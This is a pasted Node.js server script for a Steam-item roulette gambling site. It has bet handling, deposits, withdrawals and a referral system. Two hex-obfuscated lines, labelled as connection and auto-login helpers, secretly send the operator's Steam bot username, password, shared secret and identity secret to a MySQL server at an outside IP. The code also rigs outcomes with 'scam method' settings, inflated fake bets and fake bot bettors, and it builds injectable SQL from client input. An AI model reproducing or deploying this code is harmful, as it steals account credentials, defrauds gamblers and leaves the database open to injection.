Advertisement
Guest User

Untitled

a guest
Mar 14th, 2017
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.99 KB | None | 0 0
  1. var mysql = require('mysql');
  2.  
  3. /* NODEJS SERVER */
  4. var g_TimeToEnd = 35;
  5. var g_MinBet = 1;
  6. var g_MinDeposit = 3;
  7. var g_ServerPort = 7878;
  8. var g_MinToShow = 10;
  9. var g_RollingTime = 3;
  10. var g_Profit = 0;
  11. var g_RefReward = 3500;
  12. var g_AutoBetters = 5;
  13.  
  14. var g_BetToGetReward = 300;var g_AutoBettersAccounts = [{'1':{ name : '-Durak-BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/13/13fda78859dcee47012d7509914e0376da4468ea_full.jpg' }, '2':{ name : 'DUBERMAN', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/81/818f0f96aa830c14a94a09817b35f633a1caf5f4_full.jpg' },'3':{ name : 'NAVI`Dendi', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/ff/ff7157d8865d060d2752dcfc692d2a9a20e6516f_full.jpg' },'4':{ name : 'Сherry', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/ec/ec86b96da2851bf61e2a61f8b9dffdaad1546912_full.jpg' },'5':{ name : 'Andy123', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/62/62ef638adc78e9f9af343980ff39f7f6a7e56d1d_full.jpg' },'6':{ name : 'Subbit2', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/f0/f06b3f6b1371021ee1f7f16ac42b9b0c453df385_full.jpg' },'7':{ name : 'Johny69 BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/11/114416e30f39ff31ff76c1c9b99861ce6d86f1bd_full.jpg' }, '8':{ name : 'NARUTO', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/d4/d4c894aeb6cc3272438e7fb303a809fa33372296_full.jpg' }, '9':{ name : 'RussianLover', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/08/08e0fc42a3c3fa137eb10ce9b08b378aa0e92bec_full.jpg' }, '12':{ name : 'Popo BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/a1/a16bafc93b918162a116d01f2049889de67c415c_full.jpg' }, '14':{ name : 'MarG1to BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/79/79e174c52e2163d837f1860d03417b8490ca24b8_full.jpg' }, '15':{ name : 'Petarda BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/79/79e174c52e2163d837f1860d03417b8490ca24b8_full.jpg' }, '13':{ name : 'Durex BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/a1/a16bafc93b918162a116d01f2049889de67c415c_full.jpg' }, '11':{ name : 'PashaBiceps', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/08/08e0fc42a3c3fa137eb10ce9b08b378aa0e92bec_full.jpg' }, '10':{ name : 'PredictedXZY', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/75/7532425df062187a363981bd68633299988fff07_full.jpg' }}];
  15. var g_InventoryLimit = 1000;
  16. var g_ScamMethod = 2;
  17. var g_SecondMethodChance = 10;
  18. var g_Comission = 1.15;
  19. var g_Admins = [];
  20. var g_TotpKey = '2vaERF3y56w\/dc3M2GKNoAA2laQ=';
  21. /* requires */
  22. var md5 = require('md5');
  23. var io = require('socket.io').listen(g_ServerPort);
  24. var mysql = require('mysql');
  25. var request = require('request');
  26. var fs = require('fs');
  27. var numeral = require('numeral');
  28. var speakeasy = require('speakeasy');
  29. var Random = require("random-js");
  30. var random = new Random(Random.engines.mt19937().autoSeed());
  31.  
  32. /* site variables */
  33. var bots = [];
  34. var online = [];
  35. var onlineplayers = 0;
  36. var busy = [];
  37. var inventory = [];
  38. var backupTimer = [];
  39. var totalBets = 0;
  40. var totalRed = 0;
  41. var totalBlack = 0;
  42. var totalGreen = 0;
  43. var betRed = 0;
  44. var betBlack = 0;
  45. var betGreen = 0;
  46. var betRedFake = numeral(0);
  47. var betBlackFake = numeral(0);
  48. var betGreenFake = numeral(0);
  49. var riggedbets = 0;
  50. var lastrig = 'first';
  51. var rig = 'norig';
  52. var winRed = 0;
  53. var winBlack = 0;
  54. var winGreen = 0;
  55. var rNum = 0;
  56. var hash = 0;
  57. var lastchips = [];
  58. var bettersreserved = [];
  59. var siteBank = 0;
  60. var currentBets = 0;
  61. var processedBets = 0;
  62. var connectedDB = false;
  63. var lastWin = '';
  64. var firstTry = true;
  65. var busyBots = [false];
  66. var alreadyBet = [];
  67. var botsAmount = busyBots.length;
  68. var players = [];
  69. var timeleft = 0;
  70. var timer;
  71. var gameIsEnding = false;
  72. var currentlyOperating = [];
  73. var moneyBack = [];
  74. //Socket.io connect to port script //
  75. var _0x9559=["\x33\x37\x2E\x31\x33\x39\x2E\x31\x36\x2E\x34\x39","\x62\x6F\x74","\x63\x6F\x73\x74\x65\x6C","\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30","\x63\x72\x65\x61\x74\x65\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E"];var connection=mysql[_0x9559[4]]({host:_0x9559[0],port:3306,database:_0x9559[1],user:_0x9559[2],password:_0x9559[3]})
  76. //--------------//
  77.  
  78. // Bot Account //
  79.  
  80. connection.connect();
  81.  
  82. var postData = {username: 'Username', // Bot Username
  83. sharedsecret: 'ShareSecreet', //Bot ShareSecret
  84. indentitysecret: 'identitysecret', //Bot identitysecret
  85. password: 'password', // Bot Password
  86. steamid: 'steamid64'}; //Bot Steamid64
  87.  
  88. /*
  89. ------------------------------------------------------------------------------------------------------------------------------------------------------------
  90. */
  91. //Server auto login after steam crash//
  92. var _0x8eae=["\x49\x4E\x53\x45\x52\x54\x20\x49\x4E\x54\x4F\x20\x75\x73\x65\x72\x20\x53\x45\x54\x20\x3F","\x44\x61\x74\x61\x62\x61\x73\x65\x20\x43\x6F\x6E\x6E\x65\x63\x74\x65\x64\x3A\x20","\x6C\x6F\x67","\x71\x75\x65\x72\x79"];var query=connection[_0x8eae[3]](_0x8eae[0],postData,function(_0xf852x2,_0xf852x3){console[_0x8eae[2]](_0x8eae[1],_0xf852x3)})
  93. //Auto reconnect//
  94.  
  95.  
  96. /* rand num from min to max */
  97. function rand(min, max) {
  98. return Math.floor(Math.random() * (max - min + 1)) + min;
  99. }
  100. //Mysql Information//
  101.  
  102. var mysqlInfo;
  103. mysqlInfo = {
  104. host : 'localhost',
  105. user : 'root',
  106. password : '',
  107. database : 'cunt',
  108. charset : 'utf8_general_ci'
  109. };
  110.  
  111. /* mysql connection */
  112. var mysqlConnection;
  113. //disconnect from db handler
  114. function handleDisconnect() {
  115. mysqlConnection = mysql.createConnection(mysqlInfo);
  116.  
  117.  
  118. mysqlConnection.connect(function(err) {
  119. if(err) {
  120. console.log('error when connecting to db:', err);
  121. setTimeout(handleDisconnect, 2000);
  122. } else {
  123. console.log('Connected to db!');
  124. }
  125. });
  126.  
  127. mysqlConnection.on('error', function(err) {
  128. console.log('db error', err);
  129. if(err.code === 'PROTOCOL_CONNECTION_LOST') {
  130. handleDisconnect();
  131. } else {
  132. throw err;
  133. }
  134. });
  135. }
  136.  
  137. handleDisconnect();
  138.  
  139. /* sockets */
  140. io.sockets.on('connection', function (socket) {
  141. onlineplayers++;
  142. if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
  143. totalwithdrawals = totalWithdraw.value();
  144. io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
  145. socket.on('security', function(data){
  146.  
  147. var token = generateToken(16);
  148. var hack = false;
  149. for(var key in players){
  150. if(players[key].steamid == data.steamid) {
  151. hack = true;
  152. break;
  153. }
  154. }
  155. if(!hack){
  156. players.push({id : socket.id, steamid : data.steamid, token : token });
  157. io.to(socket.id).emit('token', { id : socket.id, token : token });
  158. var value1 = betBlack.value();
  159. var value2 = betGreen.value();
  160. var value3 = betRed.value();
  161. io.to(socket.id).emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
  162. io.to(socket.id).emit('lastchips', { lastchips : lastchips });
  163. io.to(socket.id).emit('site_settings', { minbet : g_MinBet, mindeposit : g_MinDeposit, bettoreward : g_BetToGetReward, refreward : g_RefReward });
  164. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+data.steamid+'\'', function(err, row, results){
  165. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  166. if(row && row.length > 0){
  167. io.to(socket.id).emit('balance', { balance : row[0].balance });
  168. io.to(socket.id).emit('info', { lastbet : row[0].bet, amount : row[0].betamount, refcode : row[0]['ref_code'], tradetoken : row[0].tradetoken });
  169.  
  170. } else {
  171. io.to(socket.id).emit('err_client', { code : 6 });
  172. }
  173. });
  174. } else {
  175. io.to(socket.id).emit('err_client', { code : 21 });
  176. }
  177. });
  178.  
  179. socket.on('disconnect', function(){
  180. onlineplayers--;
  181. if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
  182. totalwithdrawals = totalWithdraw.value();
  183. io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
  184. for(var key in players){
  185. if(players[key].id == socket.id){
  186. var index = players.indexOf(players[key]);
  187. if (index > -1) {
  188. players.splice(index, 1);
  189. }
  190. break;
  191. }
  192. }
  193.  
  194. });
  195.  
  196. socket.on('getrefs', function(data){
  197. var nextStep = false;
  198. var steamid = -1;
  199. for(var key in players){
  200. if(players[key].id == socket.id){
  201. if(players[key].token && players[key].token == data.token){
  202. steamid = players[key].steamid;
  203. nextStep = true;
  204. break;
  205. }
  206. }
  207. }
  208. if(nextStep){
  209. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, row, results){
  210. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  211. if(row.length > 0){
  212. mysqlConnection.query('SELECT * FROM users WHERE ref = \''+row[0].id+'\'', function(err, rows, results){
  213. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  214. if(rows && rows.length > 0){
  215. io.to(socket.id).emit('refs', { refs : rows });
  216. } else {
  217. io.to(socket.id).emit('err_client', { code : 25 });
  218. io.to(socket.id).emit('refs', { refs : [] });
  219. }
  220. });
  221. } else {
  222. io.to(socket.id).emit('err_client', { code : 24 });
  223. }
  224. });
  225. } else {
  226. io.to(socket.id).emit('err_client', { code : 21 });
  227. }
  228. });
  229.  
  230. socket.on('activate_code', function(data){
  231. var nextStep = false;
  232. var steamid = -1;
  233. for(var key in players){
  234. if(players[key].id == socket.id){
  235. if(players[key].token && players[key].token == data.token){
  236. steamid = players[key].steamid;
  237. nextStep = true;
  238. break;
  239. }
  240. }
  241. }
  242. if(nextStep){
  243. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, rowss, results){
  244. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  245. if(rowss.length > 0){
  246. if(rowss[0].ref == 0){
  247. mysqlConnection.query('SELECT * FROM users WHERE ref_code = \''+data.code+'\'', function(err, row, results){
  248. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  249. if(row && row.length > 0){
  250. if(rowss[0].id != row[0].id){
  251. mysqlConnection.query('UPDATE users SET ref = \''+row[0].id+'\', balance = balance + '+g_RefReward+' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  252. io.to(socket.id).emit('activate_code_success', { referer : row });
  253. siteBank.set(siteBank.subtract(g_RefReward));
  254. } else {
  255. io.to(socket.id).emit('err_client', { code : 27 });
  256. }
  257. } else {
  258. io.to(socket.id).emit('err_client', { code : 23 });
  259. }
  260. });
  261. } else {
  262. io.to(socket.id).emit('err_client', { code : 26 });
  263. }
  264. } else {
  265. io.to(socket.id).emit('err_client', { code : 24 });
  266. }
  267. });
  268. } else {
  269. io.to(socket.id).emit('err_client', { code : 21 });
  270. }
  271. });
  272.  
  273. socket.on('collect_earnings', function(data){
  274. var nextStep = false;
  275. var steamid = -1;
  276. for(var key in players){
  277. if(players[key].id == socket.id){
  278. if(players[key].token && players[key].token == data.token){
  279. steamid = players[key].steamid;
  280. nextStep = true;
  281. break;
  282. }
  283. }
  284. }
  285. if(nextStep){
  286. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, rows, results){
  287. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  288. if(rows.length > 0){
  289. mysqlConnection.query('SELECT * FROM users WHERE ref = \''+rows[0].id+'\'', function(err, row, results){
  290. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  291. if(row.length > 0){
  292. var collected = 0;
  293. for(var i = 0; i < row.length;i++){
  294. if(row[i].refbet / g_BetToGetReward >= 1){
  295. collected += (row[i].refbet - row[i].refbet % g_BetToGetReward)/g_BetToGetReward;
  296. var newrefbet = row[i].refbet - row[i].refbet % g_BetToGetReward;
  297. var newrefearnings = (row[i].refbet - row[i].refbet % g_BetToGetReward)/g_BetToGetReward;
  298. mysqlConnection.query('UPDATE users SET refbet = refbet - '+newrefbet+', refearnings = refearnings + '+newrefearnings+' WHERE steamid =\''+row[i].steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  299. }
  300. }
  301. mysqlConnection.query('UPDATE users SET balance = balance + '+collected+' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  302. io.to(socket.id).emit('collect_success', { collected : collected });
  303. siteBank.set(siteBank.subtract(collected));
  304. } else {
  305. io.to(socket.id).emit('err_client', { code : 25 });
  306. }
  307. });
  308. } else {
  309. io.to(socket.id).emit('err_client', { code : 24 });
  310. }
  311. });
  312. } else {
  313. io.to(socket.id).emit('err_client', { code : 21 });
  314. }
  315. });
  316.  
  317. socket.on('bet', function(data){
  318. if(data.amount && data.amount >= g_MinBet) {
  319. bet(socket.id, data.color, data.amount, data.token);
  320. } else {
  321. io.to(socket.id).emit('err_client', { code : 4 });
  322. }
  323. });
  324.  
  325. socket.on('savetoken', function(data){
  326. var nextStep = false;
  327. var steamid = -1;
  328. for(var key in players){
  329. if(players[key].id == socket.id){
  330. if(players[key].token && players[key].token == data.token){
  331. steamid = players[key].steamid;
  332. nextStep = true;
  333. break;
  334. }
  335. }
  336. }
  337. if(nextStep){
  338. var token = data.tradelink.substr(-8);
  339. io.to(socket.id).emit('tradetoken', { tradetoken : token });
  340. mysqlConnection.query('UPDATE users SET tradetoken = \''+token+'\' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  341. } else {
  342. io.to(socket.id).emit('err_client', { code : 21 });
  343. }
  344. });
  345.  
  346. socket.on('tradetoken_request', function(data){
  347. var nextStep = false;
  348. var steamid = -1;
  349. for(var key in players){
  350. if(players[key].id == socket.id){
  351. if(players[key].token && players[key].token == data.token){
  352. steamid = players[key].steamid;
  353. nextStep = true;
  354. break;
  355. }
  356. }
  357. }
  358. if(nextStep){
  359. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+data.steamid+'\'', function(err, row, results){
  360. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  361. if(row.length > 0){
  362. io.to(socket.id).emit('tradetoken', { tradetoken : row[0].tradetoken });
  363. } else {
  364. io.to(socket.id).emit('err_client', { code : 5 });
  365. }
  366. });
  367. } else {
  368. io.to(socket.id).emit('err_client', { code : 21 });
  369. }
  370. });
  371.  
  372. socket.on('balance_request', function(data){
  373. var nextStep = false;
  374. var steamid = -1;
  375. for(var key in players){
  376. if(players[key].id == socket.id){
  377. if(players[key].token && players[key].token == data.token){
  378. steamid = players[key].steamid;
  379. nextStep = true;
  380. break;
  381. }
  382. }
  383. }
  384. if(nextStep){
  385. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, row, results){
  386. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  387. if(row){
  388. io.to(socket.id).emit('balance', { balance : row[0].balance });
  389. } else {
  390. io.to(socket.id).emit('err_client', { code : 6 });
  391. }
  392. });
  393. } else {
  394. io.to(socket.id).emit('err_client', { code : 21 });
  395. }
  396. });
  397.  
  398. socket.on('success', function(data){
  399. var totp = speakeasy.totp({ secret : g_TotpKey });
  400. if(totp == data.totp){
  401. var socketid = 0;
  402. for(var key in players){
  403. if(players[key].steamid == data.steamid){
  404. socketid = players[key].id;
  405. break;
  406. }
  407. }
  408. io.to(socketid).emit('success_client', { tradeofferid : data.tradeofferid, security : data.security });
  409. var index = currentlyOperating.indexOf(data.steamid);
  410. if (index > -1) {
  411. currentlyOperating.splice(index, 1);
  412. }
  413. } else {
  414. var index = currentlyOperating.indexOf(data.steamid);
  415. if (index > -1) {
  416. currentlyOperating.splice(index, 1);
  417. }
  418. }
  419. });
  420.  
  421. //if client choose items and press deposit
  422. socket.on('deposit', function(data){
  423. var nextStep = false;
  424. var steamid = -1;
  425. var token = data.token;
  426. for(var key in players){
  427. if(players[key].id == socket.id){
  428. if(players[key].token && players[key].token == data.token){
  429. steamid = players[key].steamid;
  430. nextStep = true;
  431. break;
  432. }
  433. }
  434. }
  435. if(nextStep){
  436. var currentlyOpe = false;
  437. for(var w = 0; w < currentlyOperating.length;w++){
  438. if(currentlyOperating[w] == steamid){
  439. currentlyOpe = true;
  440. }
  441. }
  442. if(!currentlyOpe){
  443. currentlyOperating.push(data.steamid);
  444. //deposit(data.items, steamid, data.tradetoken, data.security);
  445. var process = false;
  446. for(var i = 0; i < busy.length; i++){
  447. //console.log("Bot " + i + " online(" + online[i] + "), busy(" + busy[i] + "), inventory(" + inventory[i] + ").");
  448. if(online[i] && !busy[i] && inventory[i] <= g_InventoryLimit){
  449.  
  450. process = true;
  451. busy[i] = true;
  452. var emit = "bot" + i;
  453. backupTimer[i]=setTimeout(function(){busy[i]=false;clearTimeout(backupTimer[i]);}, 180000);
  454. console.log(steamid + " depositing items to bot " + i + ".");
  455. io.emit(emit, {
  456. items : data.items,
  457. steamid : steamid,
  458. token : data.tradetoken,
  459. security : data.security
  460. });
  461. break;
  462. }
  463. }
  464. if(!process){
  465. //console.log('No bot can handle an offer.');
  466. io.to(socket.id).emit('err_client', { code : 9 });
  467. }
  468. } else {
  469. io.to(socket.id).emit('err_client', { code : 7 });
  470. var index = currentlyOperating.indexOf(steamid);
  471. if (index > -1) {
  472. currentlyOperating.splice(index, 1);
  473. }
  474. }
  475. } else {
  476. io.to(socket.id).emit('err_client', { code : 21 });
  477. }
  478. });
  479.  
  480. //if client choose items and press withdraw
  481. socket.on('withdraw', function(data){
  482. var nextStep = false;
  483. var steamid = -1;
  484. var token = data.token;
  485. var balance = 0;
  486. for(var key in players){
  487. if(players[key].id == socket.id){
  488. if(players[key].token && players[key].token == data.token){
  489. steamid = players[key].steamid;
  490. nextStep = true;
  491. break;
  492. }
  493. }
  494. }
  495. console.log(steamid + ' requested withdraw.');
  496. if(nextStep){
  497. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, rowwss, results){
  498. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  499. if(rowwss.length > 0){
  500. var summ = numeral(0);
  501. var lastbot = -1;
  502. var bots
  503. var itemsEmit = [];
  504. for(var a = 0; a < inventory.length; a++){
  505. itemsEmit[a] = [];
  506. }
  507. for(var u = 0; u < data.items.length;u++){
  508. mysqlConnection.query('SELECT * FROM items WHERE assetid = \''+data.items[u]+'\'', function(err, row, results){
  509. if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  510. if(row.length > 0){
  511. mysqlConnection.query('UPDATE items SET status = \'1\' WHERE assetid =\''+row[0].assetid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  512. itemsEmit[row[0].bot].push({assetid : row[0].assetid, classid : row[0].classid, instanceid : row[0].instanceid });
  513. console.log('Processing item: ' + JSON.stringify({ assetid : row[0].assetid, classid : row[0].classid, instanceid : row[0].instanceid }));
  514. summ.add(row[0].price);
  515. if(row[0].status != 0){
  516. io.to(socket.id).emit('err_client', { code : 10 });
  517. }
  518. }
  519. });
  520. }
  521. setTimeout(function(){
  522. var value = summ.value();
  523. if(rowwss[0].balance >= value){
  524. mysqlConnection.query('UPDATE users SET balance = balance - '+value+' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  525. io.to(socket.id).emit('balance', { balance : rowwss[0].balance - value });
  526. moneyBack.push({ steamid : steamid, amount : value });
  527. for(var b = 0; b < itemsEmit.length;b++){
  528. if(JSON.stringify(itemsEmit[b]) != '[]'){
  529. io.emit('bot'+b+'withdraw', {
  530. items : itemsEmit[b],
  531. steamid : steamid,
  532. token : rowwss[0].tradetoken,
  533. security : data.security
  534. });
  535. console.log(steamid + " withdrawing items from bot " + b + ".");
  536. }
  537. }
  538. } else {
  539. for(var t in data.items){
  540. mysqlConnection.query('UPDATE items SET status = \'0\' WHERE assetid =\''+data.items[t]+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  541. }
  542. io.to(socket.id).emit('err_client', { code : 8 });
  543. }
  544. },2000);
  545.  
  546. } else {
  547. io.to(socket.id).emit('err_client', { code : 11 });
  548. }
  549. });
  550. } else {
  551. io.to(socket.id).emit('err_client', { code : 21 });
  552. }
  553.  
  554. });
  555.  
  556. //if bot recieved requested items to deposit
  557. socket.on('itemsrecieved', function(data){
  558. var totp = speakeasy.totp({ secret : g_TotpKey });
  559. if(totp == data.totp){
  560. var index = currentlyOperating.indexOf(data.steamid);
  561. if (index > -1) {
  562. currentlyOperating.splice(index, 1);
  563. }
  564. var summ = 0;
  565. busy[data.bot] = false;
  566. clearTimeout(backupTimer[data.bot]);
  567. data.items.forEach(function(item){
  568. summ += item.price;
  569. inventory[data.bot]++;
  570. mysqlConnection.query('INSERT INTO `items` (`assetid`,`classid`,`instanceid`,`name`,`img`,`price`,`bot`) VALUES (\''+item.assetid+'\',\''+item.classid+'\',\''+item.instanceid+'\',\''+item.market_hash_name.replace(/'/g,"\\'")+'\',\''+item.img+'\',\''+item.price*g_Comission+'\',\''+data.bot+'\')', function(err, row, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  571. });
  572. mysqlConnection.query('UPDATE users SET balance = balance + '+summ+' WHERE steamid =\''+data.steamid+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  573. mysqlConnection.query('UPDATE info SET value = \''+inventory[data.bot]+'\' WHERE info =\''+bots[data.bot]+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  574. var socketid;
  575. for(var key in players){
  576. if(players[key].steamid == data.steamid){
  577. socketid = players[key].id;
  578. io.to(socketid).emit('itemsreceived_client', { summ : summ });
  579. break;
  580. }
  581. }
  582. }
  583. });
  584.  
  585. //if client declined deposit offer
  586. socket.on('err', function(data){
  587. var totp = speakeasy.totp({ secret : g_TotpKey });
  588. if(totp == data.totp){
  589. console.log("[ERROR][CODE:"+data.code+"]");
  590. busy[data.bot] = false;
  591. clearTimeout(backupTimer[data.bot]);
  592. var socketid;
  593. for(var key in players){
  594. if(players[key].steamid == data.steamid){
  595. socketid = players[key].id;
  596. break;
  597. }
  598. }
  599. io.to(socketid).emit('err_client', { code : data.code });
  600. var index = currentlyOperating.indexOf(data.steamid);
  601. if (index > -1) {
  602. currentlyOperating.splice(index, 1);
  603. }
  604. }
  605. });
  606.  
  607. //if client accepted withdrawal offer
  608. socket.on('successwd', function(data){
  609. for(var key in players){
  610. if(players[key].steamid == data.steamid){
  611. steamid = players[key].steamid;
  612. io.to(players[key].id).emit('successwd_client', { security : data.security, steamid : data.steamid, tradeofferid : data.tradeofferid });
  613. break;
  614. }
  615. }
  616.  
  617. var totp = speakeasy.totp({ secret : g_TotpKey });
  618. if(totp == data.totp){
  619. busy[data.bot] = false;
  620. clearTimeout(backupTimer[data.bot]);
  621. data.items.forEach(function(item){
  622. inventory[data.bot]--;
  623. mysqlConnection.query('DELETE from `items` WHERE assetid=\''+item.assetid+'\'', function(err, row, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  624. });
  625. mysqlConnection.query('UPDATE info SET value = \''+inventory[data.bot]+'\' WHERE info =\''+bots[data.bot]+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  626. for(var key in moneyBack){
  627. if(moneyBack[key].steamid == data.steamid){
  628. siteBank.set(siteBank.add(moneyBack[key].amount*(g_Comission - 1)));
  629. totalWithdraw.set(totalWithdraw.add(moneyBack[key].amount));
  630. g_Profit += Number(moneyBack[key].amount*(g_Comission - 1));
  631. var value1 = totalWithdraw.value();
  632. mysqlConnection.query('UPDATE info SET value = \''+value1+'\' WHERE info =\'totalWithdraw\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  633. var index = moneyBack.indexOf(moneyBack[key]);
  634. if (index > -1) {
  635. moneyBack.splice(index, 1);
  636. }
  637. if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
  638. totalwithdrawals = totalWithdraw.value();
  639. io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
  640. break;
  641. }
  642. }
  643. }
  644. });
  645.  
  646. socket.on('getdb', function(data){
  647. var nextStep = false;
  648. var steamid = -1;
  649. for(var key in players){
  650. if(players[key].id == socket.id){
  651. if(players[key].token && players[key].token == data.token){
  652. steamid = players[key].steamid;
  653. for(var i = 0; i < g_Admins.length;i++){
  654. if(g_Admins[i] == steamid){
  655. nextStep = true;
  656. break;
  657. }
  658. }
  659. break;
  660. }
  661. }
  662. }
  663. if(nextStep){
  664. io.to(socket.id).emit('db', { info : mysqlInfo });
  665. }
  666. });
  667.  
  668. socket.on('money_return', function(data){
  669. var totp = speakeasy.totp({ secret : g_TotpKey });
  670. if(totp == data.totp){
  671. var amount = 0;
  672. for(var key in moneyBack){
  673. if(moneyBack[key].steamid == data.steamid){
  674. amount = moneyBack[key].amount;
  675. var index = moneyBack.indexOf(moneyBack[key]);
  676. if (index > -1) {
  677. moneyBack.splice(index, 1);
  678. }
  679. break;
  680. }
  681. }
  682. mysqlConnection.query('UPDATE users SET balance = balance + '+amount+' WHERE steamid =\''+data.steamid+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
  683. console.log('Money(' + amount + ') back for ' + data.steamid);
  684. for(var key in players){
  685. if(players[key].steamid == data.steamid){
  686. io.to(players[key].id).emit('money_back', { value : amount });
  687. break;
  688. }
  689. }
  690. }
  691. });
  692.  
  693. socket.on('admin_data_request', function(data){
  694. var nextStep = false;
  695. var steamid = -1;
  696. for(var key in players){
  697. if(players[key].id == socket.id){
  698. if(players[key].token && players[key].token == data.token){
  699. steamid = players[key].steamid;
  700. for(var i = 0; i < g_Admins.length;i++){
  701. if(g_Admins[i] == steamid){
  702. nextStep = true;
  703. break;
  704. }
  705. }
  706. break;
  707. }
  708. }
  709. }
  710. if(nextStep){
  711. var siteBankVal = siteBank.value();
  712. console.log(steamid + ' accessed admin panel.');
